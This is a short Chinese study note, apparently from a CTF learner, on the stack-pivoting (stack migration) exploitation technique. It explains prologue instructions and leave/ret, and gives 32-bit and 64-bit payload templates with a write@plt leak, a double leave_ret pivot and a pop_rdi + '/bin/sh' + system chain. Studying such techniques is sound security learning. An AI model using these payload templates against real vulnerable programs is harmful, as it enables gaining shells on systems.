0%

栈迁移

每条指令的作用:

  1. push eip+4;

    • 这条指令将当前指令指针寄存器(eip)加上 4 的值压入栈中。这里的 eip+4 实际上是下一条指令的地址(假设没有其他的分支跳转或中断),因为 eip 指向当前正在执行的指令的地址。这样做通常是为了将返回地址(即函数调用指令的下一条指令地址)保存到栈中,以便函数调用完成后可以正确地返回。
  2. push ebp;

    • 这条指令将当前基指针寄存器(ebp)的值压入栈中。ebp 通常用于指向当前栈帧的基址,因此将其值保存下来是为了在函数调用完成后能够恢复到调用函数之前的栈帧状态。
  3. mov ebp, esp;

    • 这条指令将栈指针寄存器(esp)的值复制到基指针寄存器(ebp)。这意味着函数的栈帧基址现在被设置为当前栈顶的位置。之后,函数可以通过 ebp 寄存器访问其局部变量和参数。

这段代码的整体作用是设置一个新的栈帧,使得函数可以在其局部变量和参数上进行操作,同时保留调用函数前的栈帧状态,以便在函数返回时能够恢复原始状态。

主要通过两次leave ret指令得到目的,最主要是要得到ebp值也就是栈底的地址,来更精确地进行两次leave,第一次的leave是输入后的自带leave,第二次的leave是我们自己导入的leave,做完之后就按着输入顺序一一调取按顺序进行。之后执行之前相当于一串函数,执行ret gift

​ main

的操作,执行gitf时进行压栈,rsp下移到main,gift结束时执行main。

32位模板:

1
2
3
4
5
payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) //#此前为需要执行的命令
+ p32(write_got_addr) + p32(4)//#此为必要的,一为返回的地址,二为

payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

64位模板(仅参考):

1
2
3
4
5
payload=(p64(gift)+p64(main)).ljust(0x30,b'\x00')# 依次是需要执行的命令进行ret2libc
payload+=p64(leak-0X8)+p64(leave_ret)#一为stack栈底地址,二位二次leave的命令地址
本题存在libc 所以每次ebp值不同
payload1=(p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)).ljust(0x30,b'a')#p64执行获取shell步骤
payload1+=p64(leak2-0x8)+p64(leave_ret)#一为stack栈底地址,二位二次leave的命令地址 之前依次是需要执行的命令进行getshell 若leak2的值不减去0x8 会导致第一个地址的命令无法执行

8

rbp=gift 图误

1
2
leave=mov esp,ebp;  pop ebp;
ret =pop eip #弹出栈顶数据(rsp中的)给eip寄存器 rsp会上升8/4地址